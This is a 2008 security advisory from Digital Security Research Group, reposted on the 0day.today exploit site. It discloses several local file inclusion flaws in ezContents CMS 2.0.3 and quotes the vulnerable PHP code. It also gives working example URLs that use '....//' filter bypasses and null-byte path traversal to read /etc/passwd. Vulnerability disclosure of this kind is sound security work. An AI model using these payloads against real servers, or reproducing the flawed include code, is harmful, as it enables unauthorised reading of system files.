0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
ezContents CMS 2.0.3 Multiple Local File Inclusion Vulnerabilities
================================================================== ezContents CMS 2.0.3 Multiple Local File Inclusion Vulnerabilities ================================================================== Digital Security Research Group [DSecRG] Advisory #DSECRG-08-038 Application: ezContents CMS Versions Affected: 2.0.3 Application URL: http://www.ezcontents.org/ Vendor URL: http://www.visualshapers.com/ Bug: Multiple Local File Include Exploits: YES Reported: 05.08.2008 Second report: 18.08.2008 Vendor Response: NONE Solution: NONE Date of Public Advisory: 25.08.2008 Author: Digital Security Research Group [DSecRG] Description *********** ezContents CMS has Multiple Local File Include vulnerabilities. Details ******* 1. Local File Include vulnerability found in script /module.php Vulnerable GET parameter "link". First discovered by Zero_X [http://secunia.com/advisories/10604/]. Vendor fixed vulnerability in version 2.0.3 by adding verification for this parameter. However, attacker still can include local files. Code [line 32-42, 141-145] -------------------------- ################################################# $GLOBALS["rootdp"] = './'; require_once ($GLOBALS["rootdp"]."include/config.php"); require_once ($GLOBALS["rootdp"]."include/db.php"); require_once ($GLOBALS["rootdp"]."include/session.php"); include_once ($GLOBALS["rootdp"].$GLOBALS["modules_home"]."modfunctions.php"); if ((!isset($HTTP_GET_VARS["ezSID"])) && (isset($HTTP_POST_VARS["ezSID"]))) $HTTP_GET_VARS["ezSID"] = $HTTP_POST_VARS["ezSID"]; if ((!isset($HTTP_GET_VARS["link"])) && (isset($HTTP_POST_VARS["link"]))) $HTTP_GET_VARS["link"] = $HTTP_POST_VARS["link"]; $HTTP_GET_VARS["link"] = str_replace('../', '', $HTTP_GET_VARS["link"]); ... if (isExternalLink ($HTTP_GET_VARS["link"])) { ECHO 'Remote Code Execution Patch Installed on this implementation of ezContents'; } else { include($GLOBALS["rootdp"].$HTTP_GET_VARS["link"]); } ################################################# isExternalLink() function in script /include/functions.php checks for remote inclusion attempts. Code [line 768-779] ------------------- ################################################# function isExternalLink ($linkref) { if ( (substr($linkref,0,5) == 'http:') || (substr($linkref,0,6) == 'https:') || (substr($linkref,0,5) == 'file:') || (substr($linkref,0,4) == 'ftp:') || (substr($linkref,0,7) == 'gopher:') || (substr($linkref,0,7) == 'mailto:') || (substr($linkref,0,5) == 'news:') || (substr($linkref,0,7) == 'telnet:') || (substr($linkref,0,5) == 'wais:') ) { return True; } else { return False; } } // isExternalLink ################################################# Example: http://[server]/[installdir]/module.php?link=....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd 2. Local File Include vulnerabilities found in scripts /modules/diary/showdiary.php /modules/diary/showeventlist.php /modules/gallery/showgallery.php /modules/reviews/showreviews.php Successful exploitation requires that "register_globals" is enabled. Code [showdiary.php, line 32-45] -------------------------------- ################################################# global $HTTP_SERVER_VARS; if ( (substr($HTTP_SERVER_VARS["PHP_SELF"],-11) == 'control.php') || (substr($HTTP_SERVER_VARS["PHP_SELF"],-10) == 'module.php') || (substr($HTTP_SERVER_VARS["PHP_SELF"],-16) == 'showcontents.php') ) { require_once('./modules/moduleSec.php'); } else { require_once('../moduleSec.php'); } $GLOBALS["ModuleName"] = 'diary'; if (!isset($GLOBALS["gsLanguage"])) { Header("Location: ".$GLOBALS["rootdp"]."module.php?link=".$GLOBALS["modules_home"].$GLOBALS["ModuleRef"]."/showdiary.php"); } include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_admin.php"); include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_main.php"); ################################################# Script /modules/moduleSec.php checks for inclusion attempts. Code ---- ################################################# function moduleExternalLink ($linkref) { if ($linkref != '') { if ( (substr($linkref,0,5) == 'http:') || (substr($linkref,0,6) == 'https:') || (substr($linkref,0,5) == 'file:') || (substr($linkref,0,4) == 'ftp:') || (substr($linkref,0,7) == 'gopher:') || (substr($linkref,0,7) == 'mailto:') || (substr($linkref,0,5) == 'news:') || (substr($linkref,0,7) == 'telnet:') || (substr($linkref,0,5) == 'wais:') ) { return True; } else { return False; } } else { return False; } } // moduleExternalLink if (!(isset($GLOBALS["rootdp"]))) { ECHO 'Remote Code Execution Patch Installed on this implementation of ezContents'; DIE; } if ( (moduleExternalLink($GLOBALS["rootdp"])) || (moduleExternalLink($GLOBALS["modfiledir"])) || (moduleExternalLink($GLOBALS["modules_home"])) || (moduleExternalLink($GLOBALS["admin_home"])) || (moduleExternalLink($GLOBALS["language_home"])) ) { ECHO 'Remote Code Execution Patch Installed on this implementation of ezContents'; DIE; } ################################################# Example: http://[server]/[installdir]/modules/diary/showdiary.php?rootdp=DSecRG&gsLanguage=../../../../../../../../../../../../../etc/passwd%00 http://[server]/[installdir]/modules/diary/showdiary.php?rootdp=DSecRG&gsLanguage=DSecRG&language_home=../../../../../../../../../../../../../etc/passwd%00 3. Local File Include vulnerabilities found in scripts /modules/diary/showdiarydetail.php /modules/gallery/showgallerydetails.php /modules/reviews/showreviewsdetails.php /modules/news/shownewsdetails.php Successful exploitation requires that "register_globals" is enabled. Code [showdiarydetail.php, line 32-46] -------------------------------------- ################################################# global $HTTP_SERVER_VARS; if ( (substr($HTTP_SERVER_VARS["PHP_SELF"],-11) == 'control.php') || (substr($HTTP_SERVER_VARS["PHP_SELF"],-10) == 'module.php') || (substr($HTTP_SERVER_VARS["PHP_SELF"],-16) == 'showcontents.php') ) { require_once('./modules/moduleSec.php'); } else { require_once('../moduleSec.php'); } $GLOBALS["ModuleName"] = 'diary'; include_once ($GLOBALS["admin_home"]."compile.php"); include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_admin.php"); include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_main.php"); ################################################# Example: http://[server]/[installdir]/modules/diary/showdiarydetail.php?rootdp=DSecRG&admin_home=../../../../../../../../../../../../../etc/passwd%00 http://[server]/[installdir]/modules/diary/showdiarydetail.php?rootdp=DSecRG&gsLanguage=../../../../../../../../../../../../../etc/passwd%00 http://[server]/[installdir]/modules/diary/showdiarydetail.php?rootdp=DSecRG&language_home=../../../../../../../../../../../../../etc/passwd%00 4. Local File Include vulnerabilities found in scripts /modules/diary/submit_diary.php /modules/gallery/submit_gallery.php /modules/guestbook/submit_guestbook.php /modules/reviews/submit_reviews.php /modules/news/submit_news.php Successful exploitation requires that "register_globals" is enabled. Code [submit_diary.php, line 32-51] ----------------------------------- ################################################# global $HTTP_SERVER_VARS; if ( (substr($HTTP_SERVER_VARS["PHP_SELF"],-11) == 'control.php') || (substr($HTTP_SERVER_VARS["PHP_SELF"],-10) == 'module.php') || (substr($HTTP_SERVER_VARS["PHP_SELF"],-16) == 'showcontents.php') ) { require_once('./modules/moduleSec.php'); } else { require_once('../moduleSec.php'); } // Localisation variables (used for default values) // Change these to suit your site preferences // $expiryperiod = 'm'; // Time period to calculate the banner expiry date (based on today's date) $expirynumber = 1; $GLOBALS["ModuleName"] = 'diary'; include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_admin.php"); include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_main.php"); ################################################# Example: http://[server]/[installdir]/modules/diary/submit_diary.php?rootdp=DSecRG&gsLanguage=../../../../../../../../../../../../../etc/passwd%00 http://[server]/[installdir]/modules/diary/submit_diary.php?rootdp=DSecRG&language_home=../../../../../../../../../../../../../etc/passwd%00 5. Local File Include vulnerabilities found in scripts /modules/news/archivednews_summary.php /modules/news/news_summary.php Successful exploitation requires that "register_globals" is enabled. Code [news_summary.php, line 32-41] ----------------------------------- ################################################# global $HTTP_SERVER_VARS; if ( (substr($HTTP_SERVER_VARS["PHP_SELF"],-11) == 'control.php') || (substr($HTTP_SERVER_VARS["PHP_SELF"],-10) == 'module.php') || (substr($HTTP_SERVER_VARS["PHP_SELF"],-16) == 'showcontents.php') ) { require_once('./modules/moduleSec.php'); } else { require_once('../moduleSec.php'); } include_once ($GLOBALS["admin_home"]."compile.php"); ################################################# Example: http://[server]/[installdir]/modules/news/news_summary.php?rootdp=DSecRG&admin_home=../../../../../../../../../../../../../etc/passwd%00 6. Local File Include vulnerabilities found in scripts /modules/diary/inlineeventlist.php /modules/news/inlinenews.php Successful exploitation requires that "register_globals" is enabled. Code [inlinenews.php, line 32-52] --------------------------------- ################################################# global $HTTP_SERVER_VARS; if ( (substr($HTTP_SERVER_VARS["PHP_SELF"],-11) == 'control.php') || (substr($HTTP_SERVER_VARS["PHP_SELF"],-10) == 'module.php') || (substr($HTTP_SERVER_VARS["PHP_SELF"],-16) == 'showcontents.php') ) { require_once('./modules/moduleSec.php'); } else { require_once('../moduleSec.php'); } global $EZ_SESSION_VARS; $GLOBALS["ModuleName"] = 'news'; $linkref = $nLink; $chainlink = explode('/',$linkref); $modfilename = array_pop($chainlink); $GLOBALS["modfiledir"] = implode('/',$chainlink); include($GLOBALS["modfiledir"]."/moduleref.php"); include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_admin.php"); include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_main.php"); ################################################# Example: http://[server]/[installdir]/modules/news/inlinenews.php?rootdp=DSecRG&nLink=../../../../../../../../../../../../../etc/passwd%00/ http://[server]/[installdir]/modules/news/inlinenews.php?rootdp=DSecRG&gsLanguage=../../../../../../../../../../../../../etc/passwd%00 http://[server]/[installdir]/modules/news/inlinenews.php?rootdp=DSecRG&language_home=../../../../../../../../../../../../../etc/passwd%00 About ***** Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. # 0day.today [2024-12-25] #